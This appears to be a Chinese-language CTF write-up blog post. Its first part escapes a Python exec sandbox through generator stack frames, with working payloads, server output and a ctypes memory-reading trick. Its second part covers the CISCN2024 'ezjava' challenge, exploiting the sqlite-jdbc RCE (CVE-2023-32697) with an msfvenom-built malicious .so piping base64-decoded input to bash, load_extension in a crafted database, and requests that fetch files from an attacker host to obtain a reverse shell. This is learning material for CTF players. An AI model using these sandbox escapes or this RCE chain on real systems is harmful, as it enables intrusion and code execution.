1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import os import subprocess from flask import Flask, request, jsonify from uuid import uuid1 app = Flask(__name__) runner = open("/app/runner.py", "r", encoding="UTF-8").read() flag = open("/flag", "r", encoding="UTF-8").readline().strip() @app.post("/run") def run(): id = str(uuid1()) try: data = request.json open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write( runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id)) open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", "")) run = subprocess.run( ['python', f"/app/uploads/{id}.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=3 ) result = run.stdout.decode("utf-8") error = run.stderr.decode("utf-8") print(result, error) if os.path.exists(f"/app/uploads/{id}.py"): os.remove(f"/app/uploads/{id}.py") if os.path.exists(f"/app/uploads/{id}.txt"): os.remove(f"/app/uploads/{id}.txt") return jsonify({ "result": f"{result}\n{error}" }) except: if os.path.exists(f"/app/uploads/{id}.py"): os.remove(f"/app/uploads/{id}.py") if os.path.exists(f"/app/uploads/{id}.txt"): os.remove(f"/app/uploads/{id}.txt") return jsonify({ "result": "None" }) if __name__ == "__main__": app.run("0.0.0.0", 5000)
main.py主要都是路径相关的,咱们主要看runner.py
source_simple_check
函数
检查源代码中是否存在非 ASCII 字符。
检查源代码是否包含某些敏感关键字(如 __
、getattr
、exit
)。
block_wrapper
函数
通过 sys.audithook
实现运行时审计,拦截特定事件(如 marshal
、process
、os
、sys
等)并立即退出。
source_opcode_checker
函数
使用 Python 的 dis
模块检查字节码中的敏感指令(如 LOAD_GLOBAL
、IMPORT_NAME
、LOAD_METHOD
)。
对某些特定的函数(如 randint
、randrange
、print
)做了豁免处理。
在main主程序中,使用受限的全局变量执行代码(如禁止访问 __builtins__
,只允许使用特定函数)。
看前面就一堆过滤,过滤这过滤那,看到main程序,这我熟啊,沙箱逃逸,一个新知识点,*栈帧逃逸*
栈帧逃逸 基础知识 生成器 生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。
yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束
存在yield就是生成器最明显的标志,yield类似于return,区别在于yield其中好像有next函数,每执行一次yield,也就会从上一次结束的地方执行next,不像return直接返回一个数
生成器表达式 生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。
但是使用圆括号而不是方括号
1 2 3 4 a=(i+1 for i in range(100)) #next(a) for value in a: print(value)
生成器的属性 gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
gi_frame
是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息
举例使用gi_frame获取当前帧的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() # 获取生成器的当前帧信息 frame = gen.gi_frame # 输出生成器的当前帧信息 print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)
栈帧(frame)介绍 在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟c/c++中的栈类似,懂点逆向知识应该很好理解)
栈帧包含了以下几个重要的属性: f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名。 f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。 f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。 f_lasti
: 整数,表示最后执行的字节码指令的索引。 f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!
利用栈帧(frame)逃逸沙箱 原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 key = "this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals={} code = compile(codes, "", "exec") exec(code, locals, None) print(locals["b"]) # this is flag
codes创建了一个沙箱环境,但是key在沙箱外,通过frame.f_back.f_back.f_globals[‘key’]逃逸出来,获取到了key的值
L3HCTF2024{“builtins “: None} 1 exec(code,{"__builtins__": None},locals)
典型的栈帧逃逸
不能直接通过 next()函数去获取到栈帧,但可以通过for语句去获取
1 2 a=(a.gi_frame.f_back.f_back for i in [1]) a=[x for x in a][0]
1 2 3 a=(a.gi_frame.f_back.f_back for i in [1]) a=[x for x in a][0] globals=a.f_back.f_back.f_globals
中海洋 菜鸟工具2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import * import io import time app = Flask(__name__) black_list = [ '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'SystemExit', 'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input' ] new_builtins = dict([ (key, val) for key, val in __builtins__.__dict__.items() if key not in black_list ]) flag = "flag{xxxxxx}" flag = "DISPOSED" @app.route("/") def index(): return redirect("/static/index.html") @app.post("/run") def run(): out = io.StringIO() script = str(request.form["script"]) def wrap_print(*args, **kwargs): kwargs["file"] = out print(*args, **kwargs) new_builtins["print"] = wrap_print try: exec(script, {"__builtins__": new_builtins}) except Exception as e: wrap_print(e) ret = out.getvalue() out.close() return ret time.sleep(5) # current source file is deleted app.run('0.0.0.0', port=9001)
flag在源码中,但是源码被删除,没有 /proc
目录
要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存
cpython 的实现中暴露了获取 python 栈帧的方法
而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧
而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了
利用 ctypes
模块的指针,将flag
地址周围的值读一下,实现一个从内存读源码
因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可
这里用了char 指针,读出来的是一个字符串
最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)
1 2 3 4 5 6 7 8 9 10 11 12 a=(a.gi_frame.f_back.f_back for i in [1]) a = [x for x in a][0] b = a.f_back.f_globals flag_id = id(b['flag']) #id()函数用于读取内存地址 ctypes = b["__builtins__"].__import__('ctypes') #print(ctypes) for i in range(10000): txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value if b"flag" in txt: print(txt)
使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧
而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线
程的 flag,需要从主线程栈帧向上找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sys = print.__globals__["__builtins__"].__import__('sys') io = print.__globals__["__builtins__"].__import__('io') dis = print.__globals__["__builtins__"].__import__('dis') threading = print.__globals__["__builtins__"].__import__('threading') print(threading.enumerate()) #获取所有活跃线程 print(threading.main_thread()) #获取主线程 print(threading.main_thread().ident) # 获取主线程标识符 print(sys._current_frames()) # 获取所有线程的堆栈帧对象 print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象 frame = sys._current_frames()[threading.main_thread().ident] while frame is not None: out = io.StringIO() # 内存创建字符串I/O流 dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编 content = out.getvalue() #获取反汇编的结果 out.close() print(content) frame = frame.f_back
回到此题 打印出当前帧的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import json payload = '''def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() frame = gen.gi_frame print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)''' data = { "code": payload } print(json.dumps(data)) {"result":"Local Variables: {}\nGlobal Variables: {'__builtins__': None, 'randint': <bound method Random.randint of <random.Random object at 0x556d0dee3160>>, 'randrange': <bound method Random.randrange of <random.Random object at 0x556d0dee3160>>, 'seed': <bound method Random.seed of <random.Random object at 0x556d0dee3160>>, 'print': <built-in function print>, 'my_generator': <function my_generator at 0x7f52f86a02c0>, 'gen': <generator object my_generator at 0x7f52f8792cf0>, 'frame': <frame at 0x7f52f87963b0, file '<sandbox>', line 1, code my_generator>}\nCode Object: <code object my_generator at 0x7f52f85de250, file \"<sandbox>\", line 1>\nInstruction Pointer: 0\n\n\n"}
获取global符号表
1 2 3 4 5 6 7 8 9 10 11 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back) waff() {"result":"<frame at 0x7f15a02e2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f15a02bd0c0, file '<sandbox>', line 8, code waff>\n\n\n"}
继续向上找builtins模块
1 2 3 4 5 6 7 8 9 10 11 12 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) waff() 向上3次找到 {"result":"<frame at 0x7f750291acf0, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f7502765b60, file '/app/uploads/eb2153f0-b85f-11ef-a644-0242ac0cbbf7.py', line 84, code <module>>\n\n\n"}
重新定义global下builtins
1 gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
利用f_code打印出其中的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_'] dir=gattr.dir gattr1 = frame.f_back.f_back.f_back.f_code print(dir(gattr1)) waff() 调用builtins模块中的dir打印出 {"result":"<frame at 0x7f1d3bff2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f1d3be41b60, file '/app/uploads/7be1d35a-b861-11ef-bbf9-0242ac0cbbf7.py', line 84, code <module>>\n['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_co_code_adaptive', '_varname_from_oparg', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_exceptiontable', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_positions', 'co_posonlyargcount', 'co_qualname', 'co_stacksize', 'co_varnames', 'replace']\n\n\n"}
打印不出来flag,前面了解到可以用for循环打印
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_'] dir = gattr.dir gattr1 = frame.f_back.f_back.f_back.f_code print(dir(gattr1)) for i in gattr1.co_consts: print(i) waff()
检测到了THIS_IS_SEED
换个形式输出,转str
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_'] dir = gattr.dir gattr1 = frame.f_back.f_back.f_back.f_code print(dir(gattr1)) str=gattr.str for i in str(gattr1.co_consts): print(i) waff()
后面替换掉\n就可看到flag
深深学习到了
借鉴链接:https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#python%E5%88%A9%E7%94%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8
https://www.cnblogs.com/F12-blog/p/18208215
CISCN2024 ezjava JDBC打Sqlite CVE-2023-32697——sqlite jdbc RCE
主要在DatasourceServiceimpl.class里的testDatasourceConnectionAble,里面有三个sql的测试连接方法
看第三种
来自F12师傅:
通过执行jdbc:sqlite::resource:http://ip:port/poc.db
,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-??????
,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db'
,读取传入的url的hashCode,再拼接.db
就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db'));
,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db
是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称
msf生成恶意so文件
1 msfvenom -p linux/x64/exec CMD='echo YmFzaCA |base64 -d |bash ' -f elf-so -o exp.so
上传到服务器启动文件服务
用下列代码算出文件的hashcode
1 2 3 4 5 6 7 8 9 10 11 package com.example.jdbctest.exp; import java.net.MalformedURLException; import java.net.URL; public class filename { public static void main(String[] args) throws MalformedURLException { String so = "http://140.143.143.130:8080/exp.so"; String url = so; String filename = "/tmp/sqlite-jdbc-tmp-"+new URL(url).hashCode()+".db";System.out.printf(filename);} }
比如我的是
利用恶意的db文件https://github.com/su18/JDBC-Attack/blob/main/sqlite-attack/src/main/resources/poc.db
需要修改一下
利用navicat修改即可
之后也上传至服务器
启动监听
1 2 {"type":3, "url":"jdbc:sqlite::resource:http://ip:port/exp.so"} {"type":3, "url":"jdbc:sqlite::resource:http://ip:port/poc.db", "tableName":"security"}
依次运行,等待反弹shell即可